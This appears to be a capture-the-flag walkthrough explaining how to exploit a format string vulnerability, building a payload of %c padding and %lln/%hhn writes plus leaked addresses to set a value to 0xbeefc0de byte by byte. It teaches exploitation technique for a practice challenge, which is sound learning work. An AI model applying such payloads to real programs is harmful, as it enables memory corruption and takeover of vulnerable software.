This challenge is a big step above the previous but not something to shy away from. This will be a hard one to try independently without understanding the tradecraft to solving these challenges. Once you understand this challenge and are confident with how to solve one independently, the rest of the challenges will be a breeze.
For this challenge, rather than simply changing the value at the address, we must write a desired value to this address. Let's look at the challenge description:
We must modify the highlighted value to equal 0xbeefc0de
. To do this, we will take advantage of the %n
format specifier.
One might be tempted to write 0xbeefc0de
bytes and then write the format string after to ensure that many bytes are written to the buffer. However, the read()
method only allows 128
bytes (also, the size of the buffer, meaning no buffer overflows). However, we can circumvent this using another format specifier trick.
Format specifiers allow you to indicate the size of the output for a certain format string. This was implemented to allow developers to justify output based on the number of characters and easily create pretty outputs for their users. For example, the line:
printf("%32s", "Hello World");
Results in the following output:
Hello World
-
(e.g., %-32s
).We can take advantage of this by using another format specifier: %c
. This is the character format specifier, which expects a character to be inputted as the next argument. We can use this to quickly print any number of characters without caring what character gets printed. For example, we can print:
printf("%32c%s", ' ', "Hello World");
To explicitly print 32
spaces before printing Hello World
. Rather than justifying to a size of 32
, this explicitly prints 32
spaces. This shortens the length of our payload to around 4-6 bytes (depending on how many bytes to write) before writing the %n
. This allows us to beat most size-constrained input regions.
One might be tempted to simply write use 0xbeefc0de
as the number of bytes to write in the first half of the format string, then the %n
, then the address of where we write. First, we must convert 0xbeefc0de
to an integer:
>>> 0xbeefc0de 3203383518 >>> len(str(0xbeefc0de)) 10
Then, we would use this in the format string. The length of the format string would be:
>>> len('%3203383518c%x$n') 16
Since it's exactly 16
bytes (2
blocks), we need no additional padding. We start writing at parameter 6
(the same as last problem, but challenge yourself to confirm this), meaning our write address will be at %8$n
. This makes the payload:
payload = b'%3203383518c%8$n' payload += p64(leak)
If we run this exploit, it doesn't actually work. Why is that? printf
is not expecting format specifiers that large. It regulates the size of the format specifier to the size of an integer. Since we are way over that limit (0xbeefc0de - ((1 << 31) - 1) = 1055899871
), this will be aborted and not print anything.
To fix this, we must break down the value into bytes and write each one separately. We'll do this programmatically to make this easier to digest.
%lln
to write this byte to ensure the rest of the memory block is cleared.%hhn
to write to the specific byte number.Since we will write one byte at a time, we need the address for each byte we want to write. This significantly increases the number of bytes needed for the payload, so when possible, we will write more than one byte at a time. However, for this example, we will write one byte at a time. Let's walk through this carefully.
The least significant byte is 0xde
. In decimal, 0xde = 222
. Therefore, the start of the format string will be %222c%x$lln
. Like the last challenge, we'll wait to determine what x
needs to be once the entire format string is written.
The next byte to write is 0xc0
. We've already written 0xde
bytes. The number of bytes to write to get this is 0x1c0 - 0xde = 226
. This makes the next part of the format string %226c%x$hhn
.
0x1c0
instead of 0xc0
?0xde > 0xc0
, and we require a positive number for the format specifier, we must go to the next greatest number where the least significant byte is 0xc0
.The next byte is 0xef
. The difference is 0xef - 0xc0 = 47
, meaning the format string is %47c%x$hhn
.
The last byte is 0xbe
. The difference is 0x1be - 0xef = 207
, meaning the format string is %207c%x$hhn
.
If we compute the number of bytes so far, we will find it prints 42
bytes.
payload = b"%222c%x$lln" payload += b"%226c%x$hhn" payload += b"%47c%x$hhn" payload += b"%207c%x$hhn" print(len(payload)) # prints: 43
This is 1 + 42 // 8 = 6
blocks. Since we start writing at format specifier 6
, the minimum first format specifier is 12
. Therefore, the format specifiers must be at least 2 characters long. This changes our format specifiers to be:
payload = b"%222c%xx$lln" payload += b"%226c%xx$hhn" payload += b"%47c%xx$hhn" payload += b"%207c%xx$hhn" print(len(payload)) # prints: 47
Therefore, we need one byte of padding to make the total payload 48
(6
blocks). This identifies that the format arguments start at 12
as expected, meaning we can fill these in:
payload = b"%222c%12$lln" payload += b"%226c%13$hhn" payload += b"%47c%14$hhn" payload += b"%207c%15$hhn" payload += b"\x00"
Finally, we need the addresses of the bytes we're overwriting.
payload += p64(leak) payload += p64(leak + 1) payload += p64(leak + 2) payload += p64(leak + 3)
With all this together, we can send this off and prove we changed the value!
Notice that the string gets printed with tons of white-space and some recognizable bytes in between. This is the payload that we submitted that gets printed out. These format writes get processed, which writes the bytes into the addresses on the stack!